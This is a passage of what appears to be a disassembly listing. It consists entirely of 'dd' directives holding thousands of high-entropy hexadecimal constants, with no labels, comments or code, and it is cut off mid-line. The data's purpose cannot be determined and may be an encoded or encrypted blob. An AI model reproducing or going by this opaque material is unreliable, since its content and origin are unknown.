dd 0C0D6344Ch, 4196BEB2h, 67160FCDh, 0A75E14Dh, 472ACC62h dd 0B0041E7Fh, 7840D5A6h, 9ECDA4EFh, 5D21385h, 3CFBF81Ch dd 0A87B91BAh, 619B30B3h, 0D655DA8Dh, 2AC4962Ch, 0CC7C50FCh dd 0A794EFAh, 8CDCA24Ah, 0CBC8D07Bh, 0ACD4B15Bh, 9C08E0DFh dd 0C040651Ah, 31810159h, 91ED8A87h, 0D2668AA8h, 0BACA88h dd 72778C4Ah, 0B2210EFFh, 51D286FAh, 0E6902E8Eh, 1D0A25D7h dd 5034BEEEh, 0A2EB9A4Bh, 79C6C964h, 3138F666h, 8E796AF6h dd 836A7236h, 91FA53FFh, 0B0A10F85h, 4BF32FF0h, 2A5E0EEAh dd 88EFE8BFh, 0D526972Ch, 6269C813h, 8A96C413h, 4177C113h dd 2224EBB8h, 55C404EFh, 66761F04h, 0DB1A2544h, 495F6BD3h dd 0FD13E36Fh, 54C5ECA3h, 0D69FC522h, 0E28B7DF8h, 30AD709Ah dd 0C77CC812h, 37E98EE7h, 0A790D032h, 748F48E9h, 0F23BAD1h dd 2AA3A635h, 0DDA3518Ch, 0E2ED6B5Fh, 9D7CDC4Eh, 0A9CBB5Ch dd 3BDEB872h, 676B4C6Bh, 0CEB9EABEh, 23BFC15Ch, 5710C76Ah dd 214A53B1h, 5CEC999Bh, 69C0BE58h, 81C03CA8h, 9D275B10h dd 9D9F2473h, 0D674C95Dh, 725596FDh, 58C45BF8h, 0A0FAA4D9h dd 63129109h, 0BED2569Bh, 0FF2F6A22h, 3B9396B6h, 6A9AB5Dh dd 7893D78Bh, 42317724h, 0DD826AEEh, 59852B88h, 1EC1D194h dd 26F5166Ch, 0FA9F9ACCh, 0C4727326h, 0E86494E8h, 92BDA800h dd 6DCBA808h, 7835D9C1h, 0AD0C021Eh, 958FB8F1h, 0D564CEF8h dd 490C545Bh, 0C91D61ADh, 0FAF4E1A8h, 8FE9304h, 0B8478F27h dd 0D086039Ch, 16D3F9Eh, 0E1667BCEh, 4C113C31h, 887CCD9Fh dd 9781D45Eh, 0D32657D4h, 0DBC20932h, 929BE9C7h, 0A1743A9Ch dd 3B8C7049h, 0C20E0C7Ah, 50F28E13h, 0EE60C3BAh, 0F5D17736h dd 0F137808h, 301E5CE5h, 0EA1F5110h, 9F590D45h, 0AC0E4D2Ch dd 0A2CD93EDh, 5E5DB38Ch, 259CCECh, 9B0A44EEh, 0F2D5C502h dd 1334E679h, 3396EA83h, 79338D90h, 0C7C05041h, 81750C67h dd 0C1D380FDh, 1E78AC1Dh, 9A121682h, 79F49BDEh, 0F42A5770h dd 3581FB86h, 0C8D32A7Dh, 0FA8B77E6h, 861E77B2h, 7943739Ch dd 0AE422E20h, 3A9805B2h, 2F339626h, 8DEEE20Bh, 3C7F40E7h dd 34B67712h, 45AC2162h, 1294186Dh, 0D3EF57F7h, 0CAF13815h dd 994D1202h, 2166DF7Fh, 0E0482147h, 0A0B66878h, 0CCF9AC43h dd 96F3E172h, 0A6295A5Eh, 0FE929920h, 6A58F94h, 0EF27CD10h dd 0AFD52EEDh, 5B22DC5Fh, 7C04B1EBh, 0BD41FADEh, 0ACF21161h dd 476868BEh, 71B3AA91h, 0B0B5A65h, 23A446Eh, 0A17128B8h dd 0F5C0F94Ah, 86F2380Ah, 10DF9AC2h, 5FE0728Fh, 24453213h dd 30483DBDh, 76B99A7Ah, 0ABD440A4h, 53643616h, 0E34E1261h dd 0BDA519C0h, 548798A2h, 7D223D6Dh, 0DD12DBF0h, 45E7FC05h dd 5399904Eh, 59CC69B8h, 0E400719Ch, 0BA1172Dh, 0F8C1A5C9h dd 98C6F16Fh, 0BAE87DC9h, 0EC826DACh, 0C877CAD0h, 83D65CF1h dd 0AD05B36Ah, 93DF2492h, 91298A7Fh, 0B833F169h, 0CDCF7274h dd 7CCEC995h, 0FA96D76Ah, 0EC3B5BC1h, 8E97EFEh, 74FFE571h dd 335F5A60h, 4353CEE2h, 0CE3565D4h, 89009192h, 0B59FC049h dd 9004AE48h, 0E2FACC2h, 0DE0383C6h, 5176CAD4h, 6D1913DEh dd 0FAFCCECBh, 295D6EBAh, 1EAD100Fh, 4B9DA7C9h, 0A7C8C8E3h dd 78FCFD34h, 0BB45328Ch, 0B8DB227Dh, 5B215B63h, 0E49F3726h dd 6A48EEDFh, 9703A1EBh, 1D9CAC14h, 3071B47h, 74BD522Dh dd 6F4CBB26h, 0A4370787h, 20A8F2D9h, 0D5B0FCB5h, 571D00DFh dd 24A6FA71h, 9CBFAED3h, 21569B46h, 5B15F6A2h, 81A91164h dd 8029529Fh, 506F3CB4h, 0B4EB51B3h, 0A08ACBB6h, 0A1C73156h dd 66D57146h, 0A2A1EDBCh, 461BAF82h, 878F87A8h, 0F0494D8Ah dd 22359A64h, 0B9605566h, 0E653AA46h, 0CB3BF5BEh, 546ECE60h dd 5500468h, 6BB3CF0Ah, 10E41DECh, 16BC34B8h, 104F9222h dd 0F67FFBC3h, 0C07D5C1Ah, 55BF9929h, 733F5254h, 788CE7A1h dd 2BCD262Dh, 8CF691D7h, 0DAEF1911h, 4790F8D0h, 96811C6Ch dd 0C1523ED5h, 0A3049AEh, 0D5C18C4Dh, 67F4CCB0h, 0C566FF92h dd 10A20A96h, 7E4A996h, 5B3537B1h, 0EE97DD45h, 0BBDAE223h dd 0E55DDBC2h, 27035C38h, 0FE545EE4h, 8A1CB54Eh, 0E1F51B7Dh dd 0F906C85Bh, 4789C3Eh, 9F97694h, 67231889h, 1D4F1E00h dd 4B6FE6A6h, 5D918922h, 22D7E54Dh, 1E8678DEh, 9D89F01Eh dd 49A9AB9Bh, 64059383h, 9DD32A70h, 1EB662A6h, 93BC7E70h dd 7712F67Ch, 25D28F51h, 0A93EEC5Fh, 0A0B5A023h, 0A4322BA1h dd 4EDC5C8Bh, 54E186A2h, 5D012FE5h, 0FBC240E7h, 3CB6D380h dd 5827A1A7h, 1033D53Fh, 0A7AE6AB0h, 0F3D6C28Ch, 7A2F0258h dd 497EE064h, 98056831h, 0C0580B53h, 0E454C557h, 0A83294E4h dd 0F78510E4h, 61A1778Bh, 2CF64175h, 0CD0E6A37h, 0C1AA70Bh dd 0E5ADB969h, 1681C55Bh, 3A1BCF4Bh, 40834710h, 1CB42BA9h dd 31966E95h, 833392DAh, 0BE88C46Eh, 94384555h, 0A932FE0Eh dd 7F70C13Ch, 39E09BA4h, 0EE171907h, 9C5D1CF7h, 3D62AC0Ah dd 0AADAEA54h, 0FAE332B1h, 63DE9E61h, 91DF03F8h, 9C19A4CEh dd 59E0C073h, 0B2539A89h dd 0ED3175C1h, 0A10108D9h, 74AC97B0h, 5FFFFE8Dh, 737FCCADh dd 799C94BAh, 25F44CEDh, 0E066E1FEh, 678B8214h, 28AA2402h dd 0AECCB45Fh, 0F65EEEC2h, 658CFC74h, 6FF77458h, 0AAB831B4h dd 49794F98h, 0E31E670Bh, 0E4E48291h, 0E1A07FCh, 0DFDD47EDh dd 98C8DDEAh, 0CDC55A62h, 0A0C66921h, 0BD2E4596h, 749E18A6h dd 76C93EA5h, 699E2587h, 8EDC3A4h, 61736A22h, 5D042593h dd 0F5046EAh, 0E64CCh, 1ADC3ECEh, 5B49BCD1h, 0EE2477E4h dd 4F66AE63h, 0F0245F5Ah, 0F3D9C958h, 1FD7A24Fh, 0D3D61C5Ch dd 9484636Ch, 0BBCEE0D0h, 68DA2FC2h, 0B095FF66h, 0EC2663C4h dd 0B6B62D8Ah, 48D9E634h, 0D3172550h, 0A6E4AD22h, 0DCE5E250h dd 0D85B5FFDh, 6750370Eh, 6CBE4FD7h, 0CC0B8FEBh, 484DE8D6h dd 0CC35761Ah, 7BCE884Ah, 0B1C14950h, 0F74EC415h, 57706F8Bh dd 8AFF98D2h, 0E45A65D0h, 21A2FC27h, 65E77BD9h, 0E7BF490Fh dd 0ABC8E444h, 536DE581h, 0DE805E8Ah, 39639Bh, 0E3E1E4F3h dd 4B0D8A98h, 8FAA238Ch, 176F4E8Eh, 0F37BA126h, 5B7FADAEh dd 0FF91B7BDh, 74F1F36h, 468E51BAh, 2DF016E0h, 0E391CDE5h dd 42436B80h, 3C570BC1h, 0A1567632h, 46A278B2h, 7430FCEFh dd 0E49CE63Bh, 6159E242h, 4BA304A4h, 19EEC134h, 1878EEF9h dd 89C858CCh, 0C29B00F9h, 0DF70DA5Ah, 905BD43Ah, 287B2F0Fh dd 3D236511h, 2E4AEA18h, 181126C8h, 0D3D49779h, 8DEAB3E1h dd 8833195Ah, 9D8ED52Fh, 11BE4723h, 0AD684637h, 1A5360C0h dd 128668Dh, 352F3FC7h, 0D24FA0B3h, 1B99B231h, 8925B191h dd 6D7F27D1h, 66D2AA9Bh, 9893CC21h, 0BB4EC269h, 0DF4C99Eh dd 0A8D80AFCh, 9668009Ch, 668F1473h, 0A2C0E104h, 0D258DD99h dd 5EBE041Bh, 0FBFA8A9h, 0F01F9619h, 63B02759h, 0FB19ABF3h dd 30F7DA25h, 4AAAD2E3h, 96CBF21h, 258F7D2h, 8723D6B1h dd 0D668E0DEh, 8C4D7D99h, 3CC41ECEh, 0CA9347A3h, 2A844107h dd 0E0FDAD33h, 76509D3Eh, 0EC5B5B02h, 0E396B64h, 0B31A804Eh dd 0DB626915h, 85B4B161h, 744A7802h, 0B0F316ECh, 1332D237h dd 30B18EBEh, 85BEE113h, 5EDFAD7Dh, 0A299D5EFh, 1DCB4E42h dd 61CF89F8h, 9B1B7CC7h, 5E73C941h, 3C3E0A12h, 0E7FA49D4h dd 89F3B0BAh, 0F779F361h, 86868A03h, 0DB060496h, 0E1613402h dd 1A0D4B73h, 0DF5274B2h, 0ED61A970h, 4BA52551h, 0A5BEE80Bh dd 0F8144228h, 0C7D8AD25h, 6C6739E4h, 0FF35C8CCh, 0EB21606Bh dd 570FB999h, 0EFF7FF0Fh, 8D617089h, 56A9CB26h, 25C8F5B9h dd 0FEE947D7h, 0E45406B4h, 0F47844BEh, 0E57C4B54h, 68B0C9E7h dd 0DCD2478Eh, 0BD1B1B83h, 5F00B6F1h, 0F371AFF3h, 0FAEB4BFh dd 0EB46A320h, 6E39914Ch, 4A53594Dh, 0D887B8D0h, 0D30EA90Eh dd 0D218F373h, 278198C8h, 25F15773h, 5BF8F314h, 3B44DAF6h dd 1BAFAFEAh, 0BEB3F173h, 38C0BE37h, 0D48113BBh, 0A2C32FF4h dd 0C3C8FAE7h, 96AB8E88h, 0C32EECF7h, 5BFA3C92h, 1BAFF238h dd 0DB278B82h, 0C3D6C4B4h, 975CA73h, 2654EDh, 0A34F9AA9h dd 0CD9303CDh, 50F0447Fh, 0EEC67DDBh, 678F936Ch, 576B7FE3h dd 4435918Eh, 7BF200EBh, 0A770BD2Fh, 85F1622Eh, 23961D93h dd 0EA71B138h, 0A264EDC6h, 0B633D58Dh, 0DFD0A2CCh, 0E70093F5h dd 7C8916F7h, 0EFB4AED4h, 738CD6Dh, 68C1D6F9h, 0F0C9EE52h dd 0D1BCBA48h, 0BFF5C5Bh, 1D4F24C6h, 0D3CE3236h, 0C5AC5457h dd 6A3DDF72h, 77BF78E0h, 57721304h, 0E2E7F62Ah, 66D37F27h dd 35020AABh, 4248284Bh, 8F2DC1CAh, 603C13D3h, 8846C0DEh dd 0D1B7AAEh, 5F4C84EEh, 6365FC39h, 0C14110F3h, 8AD73C1Eh dd 8024E50Ch, 68840D09h, 0CC79CA28h, 4E5C9D08h, 9087846Fh dd 71C42864h, 17803D81h, 28CF72DDh, 1336C8B6h, 0BA2FC6CFh dd 0A5B1485h, 0EBD092F6h, 0D2747200h, 262400D7h, 0E4007240h dd 74519702h, 0A9240E4h, 0B471EA79h, 1D7BD941h, 18EAA05Fh dd 0A2A4BC0Ch, 0DC242049h, 75F15D0Bh, 2E62417Dh, 0AA152714h dd 955D24Ah, 0D20D803Bh, 8FA64203h, 3FE8E812h, 0E15B32DDh dd 0CA704BABh, 7E719D82h, 8B12B985h, 729E648Dh, 9BDA2A15h dd 0A8294844h, 0D7C260AFh, 13F6A082h, 6BB31583h, 1CD2AF77h dd 0F08292Fh, 96466DBEh, 0AF5E35CBh, 7D3B72E4h, 0D3F11F2Fh dd 485E2790h, 0C579B809h, 93F3A839h, 509A476Fh, 0FDC6A457h dd 3C85EE8Ch, 84DC4094h, 0CF7B0B1Eh, 91161BB3h, 0C25FE8DFh dd 17FFF12h, 154F35A7h, 4DDB3455h, 9059C58Dh, 4C10B7DAh dd 0DBDE04BBh, 813D69F8h, 0B7A36BC0h, 63BFFDC7h, 3F1186D6h dd 0F81DE040h, 7FEBE7FCh, 95E53B10h, 0AA6CB9E1h, 3A11BB5Ah dd 15828DB7h, 5E16A7D8h, 5A9DEE71h, 3B975890h, 4B04E47Ah dd 8F4A6B9Fh, 183E94F9h, 62D7D205h, 6E0D8CD7h, 4E8E16D5h dd 9B19E5D6h, 58B002D1h, 0B655FE1Fh, 8B945191h, 652E32D4h dd 0D1C35BC9h, 3B992F78h, 0EB4D90D5h, 0F4314322h, 0D5D9064Ah dd 5BA8596Ch, 0C4A9D73Ch, 5FB6760Dh, 0D3494BD4h, 0F74783E2h dd 17B7C30Bh, 0C356F468h, 10F90DD8h, 5D567FA0h, 64928B51h dd 3823853Bh, 0CCF8ECBh, 0DA69FC2Dh, 8FDC3F58h, 0BEB20FC0h dd 64C7E298h, 0C2FD7F2Dh, 0C7BB310Eh, 0C74B76EBh, 5DAF119Ah dd 1516AEADh, 0C19878B4h, 30E34BC2h, 11814FEBh, 4DC0902h dd 6A5333BAh, 672035EFh, 73D05E60h, 50276C53h, 0BB0D0FC7h dd 1A8D7512h, 6BA68D9Ch, 7BEC2791h, 0C139BF33h, 0ABEB26FFh dd 0A1935103h, 666A1E24h, 2299163Fh, 3678631Ch, 55255F68h dd 0D67D3A73h, 0F3BABBCh, 3528E212h, 1007133Eh, 34B3BFDDh dd 0A1B1F1C1h, 0F859F818h, 0C3F08D35h, 0F419F2E8h, 43971A86h dd 4C134820h, 0D0B597AAh, 1D8ACF57h, 3C50EAAEh, 89CBF2B6h dd 0D18DAAECh, 0CA961596h, 0F60F5E3Fh, 982464AAh, 6DCCA1ECh dd 872D640Ch, 4AB4FA92h, 0B34DD9B0h, 5E0C76D8h, 78002CB4h dd 0C87BC836h, 0C8F494CCh, 0B249E3CBh, 499A3C1Ah, 649D1AE5h dd 0DC3ACB2Bh, 14012FC7h, 0FF829F98h, 22693255h, 0F3D28242h dd 1DFE45AEh, 626C6809h, 2222386Ch, 555E6C9Dh, 2BEC6136h dd 0D23C1C2Dh, 4222D027h, 0AEAA6230h, 0B286D873h, 3A770545h dd 0E04F5138h, 0C9116982h, 80E23C28h, 12458BACh, 0D79EECF4h dd 0F0DFF37h, 8A51C768h, 0CF0811E7h, 0EF7109EEh, 0D6A62959h dd 60E1DEDDh, 2640B6B5h, 9FDEC4DDh, 0E266F431h, 0C5E6A48Ch dd 2E00F27Fh, 901060CFh, 0C34C3DB8h, 7D4CA338h, 0ED02F26h dd 0E203EB7Bh, 3C100BFDh, 5693AF85h, 3FE5B013h, 0A75F56FBh dd 0DDA16D4Bh, 8773874Eh, 0B7490BB0h, 0BF6E28AEh, 0A8C2BAF5h dd 8B1D7083h, 278A0285h, 2E6730F8h, 0B0A95E0Bh, 9DB30D02h dd 0F9435E59h, 0BF5D6CEEh, 4D990A04h, 0F043F4C7h, 0F3ACBBE0h dd 7953C29Fh, 0DDA8F04Ah, 0C28AC492h, 0BC3F3E74h, 5AF08640h dd 27098137h, 8A7EDBF9h, 9CE97351h, 63430EBDh, 0C9C51346h dd 0BCE2CFADh, 0A561D7D6h, 0B4466E2Eh, 7BE045ECh, 864EE20Ah dd 0E7A1EE26h, 8993C828h, 0A1E68337h, 306FD49Bh, 0AB649B78h dd 82CADB62h, 0EA2822DEh, 0F7407C0h, 346250ACh, 0F67AAB1Eh dd 0B3D4995Ch, 56E6E362h, 42EF8288h, 0B891C757h, 9BB9D809h dd 0D0725275h, 1DA44AB3h, 0CC94348h, 5C44FA99h, 0FCD80E0Dh dd 9BF5A52Dh, 8D52ED11h, 0AF452C0Bh, 9383C09h, 83D42949h dd 54CEA970h, 53CC0E62h, 6C222775h, 0D4D8E20Ah, 223C2FB3h dd 0C1023Bh, 0A5939ADBh dd 0FF538FF1h, 5DB472FFh, 0B2BD13CEh, 0BAB9527Ah, 763D3CECh dd 40B5C8D3h, 0E6BF33CAh, 74B19EFDh, 514E0F43h, 0E0A6AEF9h dd 0AFA63BA4h, 63875A1Ch, 0EE76F87Ah, 621B1BFAh, 94C2DE73h dd 0F513A165h, 806DAA47h, 0B28881F8h, 370EE042h, 0ECCD3132h dd 88BAF136h, 0AE1151E3h, 0FF74AA59h, 87FE7D48h, 6FA31481h dd 960E0A81h, 472C7FF3h, 557C6171h, 0B5641C9Bh, 0EB66F085h dd 0B332B235h, 0EAE30C26h, 75FB6E4Dh, 0E7B91BDEh, 7C8A2607h dd 0CBD72220h, 3E862D90h, 0FDFB6A3Eh, 60BEE7BCh, 98EE8321h dd 0DA2C6E76h, 5A9D17D3h, 0A1B8E72h, 2252F53Bh, 0CFE4167Bh dd 1B95015Ah, 0E9E403Bh, 0FA1E6D0Fh, 0BA02B2E1h, 58CB54F0h dd 206F84B6h, 1E9FDD98h, 96B4421Ah, 0AEF87AA6h, 3850BBD8h dd 0DCC96CBh, 0FD72D405h, 4688D0C2h, 84DE8888h, 3AE18B2h dd 48BAB224h, 0EC45C72Ah, 3FC22E62h, 1FD4C61Eh, 0F4DEB415h dd 9492EB25h, 0E5FE3009h, 788263E0h, 17AFCBDEh, 497E908h dd 4DC49E28h, 4E5DC7B6h, 367AC9A7h, 603479DDh, 6D6BA63Bh dd 0A4D252C4h, 72583358h, 275198E7h, 0FFF354B5h, 89F588BAh dd 2A70B7E9h, 0D77E9098h, 40F34E9Eh, 0CCDF2FC6h, 17BDDBE4h dd 26B18C31h, 0C080E2A3h, 22BA0E1Dh, 89A9DCFFh, 80615DBCh dd 41937BF4h, 0F935D690h, 5E3CC45Eh, 75BB4F88h, 6358C235h dd 42543F3Ch, 4383739Eh, 0F639F38Dh, 0E05A45FCh, 0C29069FCh dd 8BACAAA0h, 7FA2F39h, 0C22D7201h, 4C362B49h, 60C142E0h dd 4D9BE705h, 66690033h, 0DD0AEF4Bh, 6E83C731h, 49DE387Ch dd 77CF9B45h, 236239EFh, 0FB756396h, 0C5B5176Eh, 5B3C8901h dd 0B0AECEE6h, 2F334A22h, 0B89E562Dh, 0D6E3159Bh, 60DB733Eh dd 56C6F468h, 0E33AD5E2h, 0AE8437C0h, 5B770731h, 6191554Ah dd 0E5CE808Ch, 73364FCAh, 0D14121A3h, 0DB1629DBh, 6B52094Bh dd 3AE3750h, 0DA43ED7h, 0C1B7939Ch, 5BCBFCBCh, 1DBD7E28h dd 73409A03h, 5E4C5DFDh, 6242172Dh, 7B592771h, 247A8BAFh dd 0B923A69h, 174157EAh, 0D0721783h, 994639Ah, 0B250C036h dd 1BA14DDEh, 24EFC305h, 0FED51208h, 8B942D41h, 1F5033B0h dd 9C747E8Bh, 0D76C6FC6h, 41D1464Dh, 0D78F68Fh, 0F471F3CCh dd 7037936Eh, 126FA862h, 7A29C02Ch, 246D8CF0h, 30BE081Ah dd 0D9163BC8h, 3B87A886h, 54919FC4h, 3A9048BAh, 89DCEF37h dd 0DC844F30h, 88BE8D96h, 3A6D3F02h, 0CEF17A18h, 2C45158Eh dd 108C320Eh, 0EB578250h, 896351F0h, 1EC525F4h, 572C531Fh dd 9D10BA6Bh, 0D2C60EC3h, 92F7175h, 54F001A6h, 14AF702Bh dd 100B1EC7h, 0A0911588h, 2EA09ECAh, 0AE046A86h, 42A3BD64h dd 684A065Ah, 4B0F3445h, 0F68A8E20h, 76DB0CF0h, 8C5A9D06h dd 759C8C38h, 0B17774C0h, 2FF1759Ah, 0EC385DE7h, 0E5B15Dh dd 0A1721052h, 0D0B01C19h, 320CA174h, 0D0D8B9C9h, 216FBF3Dh dd 0A34FAEA0h, 798AB62Bh, 2E9EBAC7h, 62DF6C8Eh, 3568674Eh dd 5F46404Dh, 0C9B8B5D6h, 64152340h, 0E8E5C0FAh, 41708972h dd 1ED00B60h, 27704FECh, 0C55F22AFh, 0CD2094D2h, 7C86BD90h dd 1AF39FD5h, 0AF058B63h, 4E667FBDh, 57A3AC8Ah, 0C061AF64h dd 50A10466h, 0FD42D26Ah, 203BA842h, 0D6BC8B4Bh, 3A0B9BA6h dd 44D8B87Bh, 518935FCh, 859AC7EEh, 0DFC9325Ah, 0B9D062D7h dd 0EC24086h, 0A214E689h, 0F1FB3AC8h, 839456F5h, 0D7C356CCh dd 469345A7h, 61ACF1Ch, 8AB56404h, 0C485A6A6h, 0D2619A82h dd 13A65701h, 0A9AEB0ECh, 0F2803D2Ah, 66CB13E5h, 6E082073h dd 0BDD1512Fh, 2F33B30Bh, 7472AF6Ah, 0EE13CFA4h, 41C042E4h dd 7AA0D83Ch, 303B149Ah, 0F73AD29h, 62E9279h, 20E36249h dd 7B017A34h, 254B1B72h, 552B75B8h, 87F20D31h, 3CF32E7Eh dd 15ADED61h, 58801AE2h, 0F180C56Eh, 9D368F0Dh, 0F2924CF6h dd 3082ECD9h, 0B6E5D96Bh, 80FB88CEh, 8BB435E3h, 0CBFE7B33h dd 2DA87E88h, 0D615ABE6h, 7D9FCA1Ch, 53EB2562h, 7FEB9FA2h dd 8BC998C8h, 2B9F1329h, 0C92E3115h, 7D13461h, 8CD23FE3h dd 0D9E02973h, 30835CF8h, 4DD12CE4h, 3C50AA60h, 0DB8145B3h dd 0B39DC936h, 111500h, 0F5E81BA3h, 0BBF739ABh, 36A7DBEEh dd 3EF35EABh, 1EC089D1h, 0F5AAFA75h, 331C2F7Dh, 7B774246h dd 961E854Ah, 502DDC40h, 0C7576C83h, 0F38C1F0Eh, 9F02F865h dd 0AD7CA9DAh, 5FE140BFh, 7AFF99AAh, 0D48882h, 226FCB03h dd 12185F3Bh, 0A17C39EBh, 0EADF1963h, 0F2ADA901h, 766587A7h dd 2BBE8930h, 0D7F1070Bh, 1948DE08h, 0CC21A91Ch, 5A4DFD7Fh dd 3DB30190h, 5D25DA84h, 426D3D8Eh, 9097E7D6h, 78BA7BC5h dd 0E1AA9C43h, 151933E3h, 0B9E48711h, 0E7A2A5F7h, 16A26326h dd 0B798E0B5h, 0D87D0DB2h, 0CB88C264h, 8B6019CDh, 0C92231Ah dd 0B406E6A7h, 0D21878F0h, 0A9505CCh, 0C80CD8EBh, 0A992627h dd 0B7151A0Eh, 3B21CCB6h, 0E4BAEC42h, 5E55A5ADh, 9D145C43h dd 0BBED7624h, 36C2609Fh, 9CE1F941h, 34BC5063h, 4072A720h dd 80C420F5h, 0F9E49BECh, 0C379A8A8h, 7534EA3h, 32389E4Eh dd 0C5D08D9Ch, 3FCD7818h, 0B374C301h, 94A8DBDAh, 62B87726h dd 5252178Eh, 32659A66h, 6F7362A5h, 0D93472A2h, 0A381FAA8h dd 0B046FC2Ah, 0B513EB1Fh, 7CD30096h, 9D503730h, 8F239349h dd 11BF24D3h, 0B82C23C7h, 2411A48Ch, 3B47449Eh, 33FE1575h dd 10721069h, 91565C06h, 4A3ECDC4h, 156AE901h, 0EBC124F6h dd 0BBD15B0Bh, 0E2673D4Ch, 64DA5CD9h, 0A5DED33h, 0D083EB6h dd 88C3F1F1h, 3CC60642h, 3B467C91h, 89519750h, 0B6929550h dd 0C036D260h, 0DBC80DEh, 5AD1685Eh, 4D3A3432h, 8C2626FCh dd 77ADE994h, 486A48F4h, 0A07ECF54h, 4E8C76DBh, 8146F2Ah dd 0BBBB302Eh, 0E812D3C9h, 79E435A8h, 6C8A9E6Dh, 189C00AFh dd 0B5BA584Ah, 9B0794E2h, 2AF1CBEh, 0DB599ADh, 0B6CB2FA4h dd 0B4CC8CF2h, 75DEC64Ch, 1F53C607h, 4658BF80h, 170F6F9h dd 0AF35E407h, 4646144Eh, 0FD7BFC84h, 6A5CCC6Ah, 28147C0Bh dd 0A1E9918Eh, 63620E18h, 4F32F2A7h, 53BEC4ACh, 38E2B77h dd 59907EE8h, 0AE9200CDh, 6CC58A33h, 0B30A77BBh, 1FA16FFBh dd 884A0D28h, 2B31AF7Eh, 4AD6023Eh, 80318670h, 0C8148F2Dh dd 0CBF178DFh, 3A4B0D40h, 99DE1232h, 0B481E7EBh, 0EFA61A3Dh dd 0B1FCA500h, 67CB956Eh, 5898B190h, 83FF2B49h, 54671CA9h dd 53AFCD8Fh, 0E7B30E1Ch, 746254B4h, 0B9773D4Bh, 0CBAC7EDBh dd 0BDC876ACh, 1750909Bh, 29D7C063h, 0BE069BBDh, 0B4D4D2C7h dd 6AD6E059h, 9A0EB275h, 7A4B0E24h, 5E0A3264h, 41A58C9h dd 0CCB41362h, 43B9521Ch, 0C8BF6D23h, 7BF92974h, 32F9F73Bh dd 0DCCC051Dh, 75FDB86Ah, 0C71E4E52h, 0E6B299B8h, 9ED98F82h dd 62E8513Dh, 14A92457h, 0A945B50Fh, 31364BCEh, 0CDBC1721h dd 40323EC8h, 0B6D8DD37h, 0FD020C87h, 0D8630E2Ah, 6E8FF0C7h dd 0C1B3EFBDh, 1BBB9581h, 0D7CBC4E0h, 26BDE20Eh, 0BEF5CF18h dd 4A24AF7Eh, 0A0DED70Dh, 0FAE05B35h, 2C9295FFh, 3493657Ch dd 2DC4D4AEh, 0EC34ACAFh, 53ED6F35h, 61969DBBh, 46CFDB10h dd 0E6DECA3Bh, 0B0AA1079h, 0E4C5E5E2h, 2310C0DDh, 0EA7FC0CFh dd 0DF46BBB6h, 8110D51Dh, 53B1B917h, 28413D38h, 8A6F954Dh dd 0BB9F3A2h, 0FC13004Eh, 5DA85268h, 2BA63324h, 0C545153Fh dd 0FA3EE4B1h, 26F05672h, 8D6CB803h, 1BDC99F5h, 0ADB91B51h dd 0B452A874h, 34CA77EDh dd 2E71FB51h, 0FFDC1C88h, 7CDBBB9Fh, 0C2E40D0Bh, 0D9EEA02Ch dd 0C0AE32CAh, 7DD24723h, 8F8264DBh, 41933330h, 484CA271h dd 0D9C91D6Dh, 0FC3118E4h, 6C7537D6h, 789ECB00h, 4D8F065Dh dd 0AA0A033Ch, 726CC17Fh, 0AA9C9DB0h, 7E16D190h, 0CCE68FE8h dd 0ECFBDB4Bh, 635D8444h, 73B45303h, 1C98C582h, 919798CFh dd 28FB9E3Ch, 542B3A35h, 9D98CCC1h, 832D604Eh, 0D820B199h dd 4D034BBAh, 0D0B2A8AEh, 77E8C137h, 0DA05C3FDh, 792637BCh dd 5418C718h, 7D4AA629h, 3243BCB3h, 69215EB5h, 0B26E44D0h dd 9E6D5740h, 70DAF78Ah, 4B1AE639h, 0AC5AFAE1h, 0C48E5A47h dd 4D2ED0Ah, 0B1C1E3D8h, 64831C40h, 3F06743Ah, 0D98A7A6Eh dd 8D2CA275h, 0EF41B3E7h, 0CF9A6610h, 2D9F5AEFh, 3B8B09AEh dd 8AD720B1h, 30FF9739h, 5787E0EAh, 274F1577h, 4E4B9150h dd 1FB03C37h, 1DB76587h, 0CFADC21Fh, 97D685B8h, 0F2AAE89h dd 41CE3E1Dh, 471B3EFEh, 5878FB3Fh, 27C40BFDh, 0BBAD04E4h dd 55393F9Dh, 8AC707EAh, 0E40AE1Dh, 0BBE60F61h, 3F91390Dh dd 0B797CBAAh, 0F5FA2CB0h, 1AFD5AC7h, 0C73341B8h, 8CD8EE2Dh dd 7B0E62E9h, 6071AC22h, 0EAE685A2h, 2F10B9FCh, 0C2441674h dd 0B117DB50h, 4669ECD2h, 0E91A686Dh, 7D0A6C44h, 41E301DBh dd 92C4A63Ah, 0C8A8E2Fh, 1A4B5922h, 0D7BECE05h, 428CD4B4h dd 70CC8ABEh, 38C3FF29h, 3719C330h, 0D651ECA8h, 3B62E9C1h dd 8BE8A747h, 20D33BADh, 863EAA81h, 26ADECDEh, 0A34B9D6h dd 0CBA740A4h, 21E98B0Ch, 1F7EAEF2h, 2E1A87h, 23FD3C9Ch dd 0A1F4CE5Eh, 32C5CD90h, 1DC19299h, 13592E85h, 454C8952h dd 9D666D09h, 0B79DDBFh, 59599960h, 1B92BFD6h, 0BD30A6F5h dd 483B18EDh, 1164EFA2h, 7D042631h, 225C3ABEh, 5FD7A9D8h dd 5ECF66B0h, 7AF6001Ch, 39604A43h, 6D68C365h, 3EC0EFB7h dd 53554722h, 0E106ABC5h, 0EA3D0DACh, 37B4E287h, 33C76008h dd 9F4D6F98h, 0AF0AB99Ch, 1BFDA1A8h, 0CACD5C14h, 73AEF7B8h dd 16A28C6h, 33581EDCh, 15A4375Dh, 25ED8109h, 7F383F67h dd 9F476CBBh, 0BD271E20h, 74B0166Bh, 0BD6DD983h, 7037ABBDh dd 0E700CE68h, 12795497h, 0EC5D0026h, 83B93017h, 56A0EB46h dd 4554795Ch, 0CEAA546Ch, 703B2AD9h, 8E0AEFCCh, 0CFBCB15Dh dd 9BC0782Eh, 0DFD19239h, 8A6F0BE0h, 0FA85EF4Bh, 0EADB08D3h dd 8C953882h, 5AB02F87h, 0C020F5EBh, 5AEEAF2Ah, 69A8404Bh dd 0D6DFB746h, 0D906B2B8h, 0D403B5A1h, 0CA583B9Eh, 0E70E6033h dd 0E2A353A6h, 0C7F6FB64h, 29A1A5DBh, 1476778Dh, 0FC3AEDE9h dd 6834CCFEh, 99451610h, 0B7B83C23h, 2B7B6E92h, 0BBA9A635h dd 0BE93D9CFh, 53D0CC9Ch, 0DD4D4751h, 3CF8527Fh, 7558AFDEh dd 76AF2FBDh, 92AFF687h, 1BC67BCFh, 7968A02Ah, 1B658E26h dd 68758D7Eh, 373EC1B3h, 4E83C9DFh, 45FA2432h, 